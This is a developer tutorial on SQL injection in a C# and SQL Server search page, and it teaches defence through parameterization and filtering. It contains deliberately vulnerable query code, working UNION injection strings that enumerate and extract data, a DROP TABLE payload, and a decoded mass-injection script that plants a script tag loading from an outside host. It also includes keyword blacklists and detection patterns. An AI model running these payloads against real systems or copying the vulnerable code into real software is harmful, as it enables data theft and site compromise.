SQL Injection

What is SQL Injection? Here is the definition from Wikipedia (http://en.wikipedia.org/wiki/SQL_injection):

“SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.”

Why another article on SQL Injection? Because no matter how much is written about it, developers still produce code that is susceptible to SQL injection attacks. The following is a dissection of a typical Web site vulnerable to SQL injection, with step by step example of what could happen, and protection methods.

Disclaimer: before even starting, it is important to emphasize – the solution to SQL injection is parameterization! Period! But… what if the client API does not support parameterization? Or the project is so large that changing all occurrences of bad code can result in massive code rewrite which may not be feasible at the moment? This is where some methods like string filtering fit in.

The example in this article uses the SQL Server sample database AdventureWorks (http://www.codeplex.com/SqlServerSamples).

Let’s start with a very trivial example of product search. The implementation is in C#:

string cmdStr = @"SELECT Name, ProductNumber, Color

                  FROM Production.Product 

                  WHERE Name LIKE '%" + SearchText.Text + "%'";



using (SqlConnection conn = new SqlConnection(connStr))

using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))

{

DataTable dtProducts = new DataTable();



sda.Fill(dtProducts);



return dtProducts.DefaultView;

}

How simple and innocent! A couple lines of code and our search function is done. We simply let the user type any search criteria and create a dynamic query to search all products.

A good user may type “ball” in the search text box and get the following results:

Name                   ProductNumber    Color

-------------------    ---------------  -------

BB Ball Bearing        BE-2349    

Bearing Ball           BA-8327  

Headset Ball Bearings  BE-2908

But here comes someone who has not so good intentions. Instead of searching for “ball”, the bad guy may type:

ZZZ' UNION SELECT name, CAST(id AS VARCHAR(10)), '' FROM sysobjects WHERE xtype ='U' --

Clever! The guy noted on the original search that there are three columns returned and formed a query to union all user tables from the current database to the result set. First, the value ZZZ is added as search criteria, then the query to extract the user tables is injected, and finally the comment section at the end trims the reminder of the original query. Now the result looks as follows:

Name                ProductNumber     Color 

-----------------   ----------------  -------

Address             53575229   

AddressType         101575400   

AWBuildVersion      149575571   

BillOfMaterials     181575685   

Contact             309576141   

ContactCreditCard   405576483   

ContactType         437576597

Once the user tables are known, then next step could be the following search string:

ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Address' --

This time the search results return the columns information for the Address user table:

Name               ProductNumber     Color 

----------------   ----------------  --------

AddressID          int               Person 

AddressLine1       nvarchar          Person 

AddressLine2       nvarchar          Person 

City               nvarchar          Person 

ModifiedDate       datetime          Person 

PostalCode         nvarchar          Person 

rowguid            uniqueidentifier  Person 

StateProvinceID    int               Person

Going one step further, the malicious user can start extracting data:

ZZZ' UNION SELECT AddressLine1, City, PostalCode FROM Person.Address --

This results in listing the address data from the Address table:

Name                            ProductNumber          Color 

-----------------------------   ---------------------  --------

#500-75 O'Connor Street         Ottawa                 K4B 1S2 

#9900 2700 Production Way       Burnaby                V5A 4X1 

00, rue Saint-Lazare            Dunkerque              59140 

02, place de Fontenoy           Verrieres Le Buisson   91370 

035, boulevard du Montparnasse  Verrieres Le Buisson   91370

So far the SQL injection attacker has been only exploring data. But things can get really unpleasant if the attacker starts updating or deleting data. Or even dropping tables. The following search text will drop a table with credit card info (if it exists):

ZZZ'; DROP TABLE CreditCardInfo --

All this should convince every developer that SQL injection is a very serious threat that should not be taken lightly.

Solutions

Handling SQL injection can be done both on the client and the server side. The following techniques will demonstrate how to accomplish that.

Client Side Filtering

The client APIs normally provide a variety of methods to filter the user input. It could include using regular expressions, limiting the size of the search arguments, filtering for dangerous keywords, etc. Here is example of creating a black list of keywords that will be filtered from the user input:

public static string[] blackList = 

       {"--",";--",";","/*","*/","@@","@",

        "char","nchar","varchar","nvarchar",

        "alter","begin","cast","create","cursor",

        "declare","delete","drop","end","exec","execute",

        "fetch","insert","kill","open",

        "select", "sys","sysobjects","syscolumns",

        "table","update"};



private bool CheckInput(string SearchText)

{

for (int i = 0; i < blackList.Length; i++)

      {

if ((SearchText.IndexOf(blackList[i], 

                 StringComparison.OrdinalIgnoreCase) >= 0))

{

HttpContext.Current.Response.Redirect("~/Error.aspx");  

return false;

}

}

return true;

}

The CheckInput function verifies the user input for any of the words on the black list and if found redirects to an error page. Then the search function looks like this:

string cmdStr = @"SELECT Name, ProductNumber, Color

                  FROM Production.Product 

                  WHERE Name LIKE '%" + SearchText.Text + "%'";



if(CheckInput(SearchText.Text))

{

using (SqlConnection conn = new SqlConnection(connStr))

using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))

{

DataTable dtProducts = new DataTable();



sda.Fill(dtProducts);



return dtProducts.DefaultView;

}

}

else

{

DataTable dtProducts = new DataTable();

return dtProducts.DefaultView;

}

Parameterization

Most client APIs (including .NET) support parameterization of queries. This allows embedding the user input as parameters. The parameters are placeholders for user entered value which is replaced at execution time. That way the user cannot inject SQL code as the whole user entry is treated as value for the parameter, not as string appended to the query. Again, parameterization is the best solution for SQL injection attacks.

Here is how the same search code will look like with parameterized query (for simplicity here we use a query, but this could be a stored procedure):

string cmdStr = @"SELECT Name, ProductNumber, Color

                  FROM Production.Product 

                  WHERE Name LIKE '%' + @SearchText + '%'";



using (SqlConnection conn = new SqlConnection(connStr))

using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))

{

DataTable dtProducts = new DataTable();



SqlParameter parm = sda.SelectCommand.Parameters.Add("@SearchText",

                          SqlDbType.VarChar, 50);

parm.Value = SearchText.Text;



sda.Fill(dtProducts);



return dtProducts.DefaultView;

}

Attempts to enter the same malicious search text will result in to output as there is no product with such name.

Server Side Filtering

Filtering can be implemented on the server side, very similar to the client side black list. Here is a fragment of code that can be added to be beginning of stored procedures to verify the search string entered by the user:

IF   UPPER(@SearchText) LIKE UPPER(N'%0x%')

  OR UPPER(@SearchText) LIKE UPPER(N'%;%')

  OR UPPER(@SearchText) LIKE UPPER(N'%''%')

  OR UPPER(@SearchText) LIKE UPPER(N'%--%')

  OR UPPER(@SearchText) LIKE UPPER(N'%/*%*/%')

  OR UPPER(@SearchText) LIKE UPPER(N'%EXEC %')

  OR UPPER(@SearchText) LIKE UPPER(N'%xp[_]%')

  OR UPPER(@SearchText) LIKE UPPER(N'%sp[_]%')

  OR UPPER(@SearchText) LIKE UPPER(N'%SELECT %')

  OR UPPER(@SearchText) LIKE UPPER(N'%INSERT %')

  OR UPPER(@SearchText) LIKE UPPER(N'%UPDATE %')

  OR UPPER(@SearchText) LIKE UPPER(N'%DELETE %')

  OR UPPER(@SearchText) LIKE UPPER(N'%TRUNCATE %')

  OR UPPER(@SearchText) LIKE UPPER(N'%CREATE %')

  OR UPPER(@SearchText) LIKE UPPER(N'%ALTER %')

  OR UPPER(@SearchText) LIKE UPPER(N'%DROP %')

BEGIN

  RAISERROR('Possible SQL Injection attempt.', 16, 1);

  RETURN;

END

Of course, ultimately the search can be implemented as stored procedure using a parameter, and without dynamic SQL:

CREATE PROCEDURE ProductSearch

 @SearchText VARCHAR(200)

AS

 SELECT Name, ProductNumber, Color 

 FROM Production.Product 

 WHERE Name LIKE '%' + @SearchText + '%';

Secondary Injection Attacks

Recently there has been a new wave of SQL injection attacks. Those utilize a delayed action technique. The way to exploit the web site is the same – looking for any non-parameterized and non-filtered queries and injection a portion of code that will be executed by SQL Server. However, in this attack the code simply loops through all user tables and inserts some HTML or JavaScript code to all string columns. This has dual effect – you data is no longer what you think it is, and then if this data is used to be displayed on a Web page then the HTML or JavaScript code will become part of your Web page.

Here are the steps to illustrate this. Normally attackers search for URLs that pass user input directly via an URL query string. That makes is very easy to inject SQL code as part of the URL. It could look like this (abbreviated):

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--

After the encoding is removed and the string is passed to SQL Server, it looks like this:

DECLARE @S NVARCHAR(4000); 

SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000)); 

EXEC(@S);--

Decoding the hex value reveals the actual SQL code that will be executed:

DECLARE @T varchar(255),@C varchar(255) 

DECLARE Table_Cursor CURSOR FOR 

select a.name,b.name from sysobjects a,syscolumns b 

where a.id=b.id and a.xtype='u' and 

(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C 

WHILE(@@FETCH_STATUS=0) BEGIN 

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+

']))+''<script src=http://www.211796*.net/f****p.js></script>''') 

FETCH NEXT FROM  Table_Cursor INTO @T,@C 

END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

In short, the script loops though all tables in the database and looks for string columns, and then appends the HTML or JavaScript code.

One very unpleasant effect of this attack is that normally pages with such content are treated by major search engines as treats, and are very likely to me considered malicious and removed from indexes.

The same techniques described earlier can be used to prevent secondary SQL injection attacks.

Tools

Here are some tools that can be used to help with SQL Injection attacks:

– Microsoft Source Code Analyzer for SQL Injection
New static analysis tool that identifies SQL injection vulnerabilities in ASP source code and suggests fixes. Enables customers to address the vulnerability at the source.
http://support.microsoft.com/kb/954476

– URLScan 3.0
Updated version of the IIS tool that acts as a site filter by blocking specific HTTP requests. Can be used to block malicious requests used in this attack.
http://learn.iis.net/page.aspx/473/using-urlscan

– Scrawlr
New scanning tool from Hewlett Packard that scans websites looking for SQL injection vulnerabilities in URL parameters. http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/24/finding-sql-injection-with-scrawlr.aspx

– SQLInjectionFinder
Tool to help determine .asp pages targeted by recent SQL Injection attacks.
http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&ReleaseId=13436